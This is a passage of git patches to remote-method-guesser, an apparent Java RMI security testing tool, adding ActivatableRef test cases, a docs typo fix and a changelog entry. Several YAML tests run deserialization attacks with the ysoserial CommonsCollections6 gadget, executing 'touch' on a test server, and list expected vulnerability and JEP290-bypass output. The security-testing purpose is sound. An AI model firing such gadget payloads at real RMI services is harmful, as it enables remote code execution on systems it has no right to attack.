contains: + description: |- + 'Check whether DGC enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI Security Manager enumeration: + [+] + [+] - Security Manager rejected access to the class loader. + [+] --> The server does use a Security Manager. + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether JEP290 enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI server JEP290 enumeration: + [+] + [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether JEP290 Bypass enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI registry JEP290 bypass enmeration: + [+] + [+] - Caught IllegalArgumentException after sending An Trinh gadget. + [+] Vulnerability Status: Vulnerable + + - contains: + description: |- + 'Check whether Activator enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI ActivationSystem enumeration: + [+] + [+] - Caught IllegalArgumentException during activate call (activator is present). + [+] --> Deserialization allowed - Vulnerability Status: Vulnerable + [+] --> Client codebase enabled - Configuration Status: Non Default diff --git a/tests/jdk9/tests/guess.yml b/tests/jdk9/tests/guess.yml index feb7c787..ec5d9b10 100644 --- a/tests/jdk9/tests/guess.yml +++ b/tests/jdk9/tests/guess.yml @@ -150,3 +150,41 @@ tests: - void updatePreferences(java.util.ArrayList dummy1) - void logMessage(int dummy1, Object dummy2) - String login(java.util.HashMap dummy1) + + + - title: Activatable Guess + description: |- + 'Performs method guessing on the registry opened by the acivation system.' + command: + - rmg + - guess + - ${TARGET-ACT} + - --verbose + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'You can use --follow to prevent this.' + - 'Methods that take zero arguments are ignored by default. Use --zero-args to guess them' + - 'Ignoring zero argument method: java.lang.String getStatus()' + - 'The following bound names use a known remote object class' + - 'You can use --force-guessing to guess methods anyway' + - 'String execute(String dummy)' + - 'String system(String dummy, String[] dummy2)' + - 'void logMessage(int dummy1, Object dummy2)' + - 'String login(java.util.HashMap dummy1)' + - 'void updatePreferences(java.util.ArrayList dummy1)' + - 'String system(String dummy, String[] dummy2)' + - 'String execute(String dummy)' + - 'java.rmi.activation.ActivationID registerObject(java.rmi.activation.ActivationDesc arg)' + - 'void unregisterObject(java.rmi.activation.ActivationID arg)' + - 'java.rmi.activation.ActivationGroupID registerGroup(java.rmi.activation.ActivationGroupDesc arg)' + - 'java.rmi.activation.ActivationMonitor activeGroup(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationInstantiator arg, long arg)' + - 'void unregisterGroup(java.rmi.activation.ActivationGroupID arg)' + - 'void shutdown()' + - 'java.rmi.activation.ActivationDesc setActivationDesc(java.rmi.activation.ActivationID arg, java.rmi.activation.ActivationDesc arg)' + - 'java.rmi.activation.ActivationGroupDesc setActivationGroupDesc(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationGroupDesc arg)' + - 'java.rmi.activation.ActivationDesc getActivationDesc(java.rmi.activation.ActivationID arg)' + - 'java.rmi.activation.ActivationGroupDesc getActivationGroupDesc(java.rmi.activation.ActivationGroupID arg)' diff --git a/tests/jdk9/tests/method.yml b/tests/jdk9/tests/method.yml index c3081037..627c3e1f 100644 --- a/tests/jdk9/tests/method.yml +++ b/tests/jdk9/tests/method.yml @@ -38,7 +38,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'String system(String dummy, String[] dummy2)' @@ -72,7 +72,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'void releaseRecord(int recordID, String tableName, Integer remoteHashCode)' @@ -94,6 +94,39 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activatable) + description: |- + 'Performs a deserialization attack on the updatePreferences function of the' + 'activation-test2 object.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --signature + - 'void updatePreferences(java.util.ArrayList dummy1)' + - --bound-name + - activation-test2 + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - java.util.ArrayList + - Caught ClassNotFoundException + - deserialize canary + - probably worked + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: Plugin Call description: |- 'Uses a plugin as payload provider that returns the string that was specified' diff --git a/tests/jdk9/tests/reg.yml b/tests/jdk9/tests/reg.yml index 4287ddf3..1a78d760 100644 --- a/tests/jdk9/tests/reg.yml +++ b/tests/jdk9/tests/reg.yml @@ -80,6 +80,31 @@ tests: - The supplied gadget did not pass the deserialization filter + - title: Gadget Call (Activation) + description: |- + 'Attempts a deserialization attack on the registry endpoint.' + 'This should fail, as the server has JEP290 installed.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --component + - reg + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - Registry rejected deserialization + - The supplied gadget did not pass the deserialization filter + + - title: JEP290 Bypass description: |- 'Attempts a deserialization attack on the registry endpoint,' From 5ec294810c9803b01ef4f8f4da4eaee6e2e2099b Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Tue, 10 May 2022 07:50:11 +0200 Subject: [PATCH 17/19] [test] Update known test --- tests/generic/tests/known.yml | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/tests/generic/tests/known.yml b/tests/generic/tests/known.yml index fa1e8aab..6d04236c 100644 --- a/tests/generic/tests/known.yml +++ b/tests/generic/tests/known.yml @@ -32,9 +32,10 @@ tests: - MLet - Deserialization - - title: Activator + + - title: Activation System description: |- - 'Test known action for the RMI activator' + 'Test known action for the RMI activation system' command: - rmg @@ -46,12 +47,14 @@ tests: - error: False - contains: values: - - RMI Activator + - RMI Activation System - sun.rmi.server.Activation$ActivationSystemImpl_Stub - The activation system is a legacy component of Java RMI. It allows remote objects to become inactive - - java.rmi.MarshalledObject activate(java.rmi.Activation.ActivationID id, boolean force) + - java.rmi.activation.ActivationID registerObject(java.rmi.activation.ActivationDesc arg) + - void shutdown() - Deserialization + - title: Unknown description: |- 'Test known action for unknown class' From bca2b6adb9cbcc2d7278e5ecd6140af1d90b3c98 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Tue, 10 May 2022 07:51:43 +0200 Subject: [PATCH 18/19] Fix typos in actions.md --- docs/rmg/actions.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/rmg/actions.md b/docs/rmg/actions.md index f13e8d1c..3b416d64 100644 --- a/docs/rmg/actions.md +++ b/docs/rmg/actions.md @@ -318,9 +318,9 @@ the *RMI registry* and sends it to the *Activator endpoint*. The *Activator* is remote object and returns an ordinary `UnicastRef` to the client. This reference is when used for the call. Whereas all other actions of *remote-method-guesser* perform activation implicitly, for the `enum` action, you need use -the command line option `--activate` if you want to activate objects during ernumeration. When doing so, *remote-method-guesser* +the command line option `--activate` if you want to activate objects during enumeration. When doing so, *remote-method-guesser* dispatches one additional call to the *Activator* for each `ActivatableRef` bound to the *RMI registry*. Information from -the obtaied `UnicastRef` is then displayed as usual below the activation related information: +the obtained `UnicastRef` is then displayed as usual below the activation related information: ```console [qtc@devbox ~]$ rmg enum 172.17.0.2 1098 --activate From 6d5a39c09731209c111382be10d8e0e21bc88901 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Tue, 10 May 2022 07:57:00 +0200 Subject: [PATCH 19/19] Update CHANGELOG.md --- CHANGELOG.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5614bd08..eaf9175d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,23 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [4.3.0] - May 11, 2022 + +### Added + +* Add support for `ActivatableRef` ([docs](/docs/rmg/actions.md#activatable-bound-names)) +* Add test cases for `ActivatableRef` + +### Changed + +* Update list of known endpoints ([docs](/docs/rmi/known-endpoints.md)) +* Update outdated documentation + +### Docker + +* The [example server](/docker/example-server) now provides a full working *Activation System* on port `1098` + + ## [4.2.2] - Jan 11, 2022 ### Changed